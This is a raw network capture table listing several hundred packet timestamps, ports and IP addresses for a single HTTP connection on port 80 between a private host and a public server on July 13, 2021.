Jul 13, 2021 14:37:52.414982080 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:52.415014029 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:52.415750980 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.415771008 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.415781021 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.415822029 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:52.416419029 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.416435003 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.416479111 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:52.416619062 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.416665077 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:52.417403936 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.417536020 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.417563915 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.417593956 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:52.418100119 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.418150902 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.418165922 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:52.418224096 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.418239117 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.418267965 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:52.418948889 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.419028044 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:52.419051886 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.419147015 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.419194937 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:52.419686079 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.419706106 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.419717073 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.419754028 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:52.420670986 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.420720100 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.420731068 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:52.420746088 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.420811892 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:52.421360016 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.421380043 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.421391010 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.421439886 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:52.422205925 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.422223091 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.422259092 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:52.422301054 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.422343016 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:52.422924042 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.422949076 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.422966003 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.423005104 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:52.423679113 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.423732996 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:52.423866034 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.423880100 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.423950911 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:52.424798012 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.424952030 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.424966097 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.425014973 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:52.425812006 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.425873995 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:52.425995111 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.426008940 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.426071882 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:52.426145077 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.426944017 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.427009106 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:52.427028894 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.427089930 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.427182913 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:52.427730083 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.427870989 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.427922010 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:52.427992105 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.428014040 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.428025007 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.428076982 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:52.428723097 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.428745985 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.428757906 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.428785086 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:52.428831100 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:52.430191994 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.430214882 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.430227041 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.430332899 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:52.475224972 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:52.586405039 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:52.605062008 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.605097055 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.605119944 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.605140924 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.605161905 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.605182886 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.605201960 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.605252981 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:52.605348110 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.605370045 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.605390072 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.605412006 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.605416059 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:52.605433941 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.605453014 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:52.605457067 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.605479002 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.605504990 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.605524063 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:52.605529070 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.605546951 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:52.605597019 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:52.605607986 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.605640888 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.605657101 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.605670929 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.605690956 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:52.605732918 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:52.605747938 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.605765104 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.605808973 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:52.605846882 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.605921030 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.605957985 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.605967999 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:52.606024981 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.606040955 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.606055975 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.606066942 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:52.606098890 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:52.606122017 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.606245995 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.606266022 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.606281996 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.606295109 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:52.606302023 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.606319904 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.606327057 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:52.606354952 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.606374025 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:52.606394053 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.606410027 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.606432915 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:52.606440067 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.606460094 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.606477022 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.606501102 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:52.606523991 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.606535912 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:52.606642962 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.606683016 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.606687069 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:52.606724977 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.606748104 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.606764078 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.606780052 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:52.606781960 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.606801987 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.606832027 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:52.606846094 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.606863976 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:52.606975079 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.606991053 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.607007027 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.607022047 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:52.607024908 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.607047081 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:52.607152939 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.607167959 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.607187033 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.607202053 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:52.607208014 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.607228994 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:52.607245922 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.607274055 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.607284069 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:52.607295036 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.607311964 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.607330084 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.607350111 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:52.607382059 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:52.607408047 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.607424021 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.607439041 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.607465029 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:52.607486010 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.607523918 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.607561111 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.607569933 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:52.607598066 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:52.607616901 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.607636929 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.607692957 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.607712030 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.607728958 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.607738018 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:52.607779980 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:52.607844114 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.607923985 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.607973099 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:52.608035088 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.608052969 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.608088970 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.608104944 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:52.608108997 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.608124971 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:52.608129978 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.608148098 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.608181000 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:52.608206034 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.608237028 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.608243942 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:52.608268023 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.608287096 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.608304024 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.608308077 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:52.608325005 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.608341932 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.608345032 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:52.608361959 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.608382940 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:52.608447075 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.608462095 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.608505011 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:52.608510017 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.608529091 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.608544111 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.608572006 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:52.608596087 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:52.608613968 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.608658075 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.608673096 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.608700991 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:52.608743906 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.608760118 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.608774900 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.608802080 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:52.608840942 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.608843088 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:52.608860970 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.608901978 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:52.608925104 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.608978987 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.608994007 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.609009027 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.609021902 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:52.609042883 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:52.609047890 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.609163046 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.609186888 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.609201908 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.609220982 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.609234095 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:52.609266996 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:52.609313011 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.609328985 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.609371901 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:52.609389067 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.609405994 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.609452009 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:52.609477043 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.609494925 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.609510899 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.609534025 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:52.609565020 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:52.609574080 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.609591961 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.609633923 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:52.609651089 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.609728098 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.609765053 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.609775066 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:52.609802008 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.609846115 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.609884024 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.609910011 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:52.609913111 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.609931946 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.609946966 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:52.609988928 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:52.610014915 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.610030890 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.610090017 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.610106945 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.610121965 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:52.610127926 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.610194921 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.610222101 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:52.610236883 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:52.610260963 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.610275984 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.610291958 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.610306025 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.610321045 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:52.610325098 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.610357046 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:52.610402107 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.610416889 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.610433102 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.610460997 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:52.610483885 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.610516071 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:52.610574961 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.610589981 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.610605955 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.610651016 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.610651970 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:52.610694885 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:52.610719919 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.610747099 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.610763073 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.610800982 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:52.610825062 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:52.610843897 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.610860109 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.610874891 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.610888958 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.610903978 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:52.610907078 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.610939026 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:52.610975981 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.610995054 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.611043930 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:52.611049891 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.611093044 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.611109972 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.611135006 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:52.611162901 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:52.611181021 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.611200094 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.611217022 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.611231089 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.611246109 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:52.611248970 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.611279011 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.611300945 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:52.611325026 CEST	49757	80	192.168.2.3	47.254.186.176
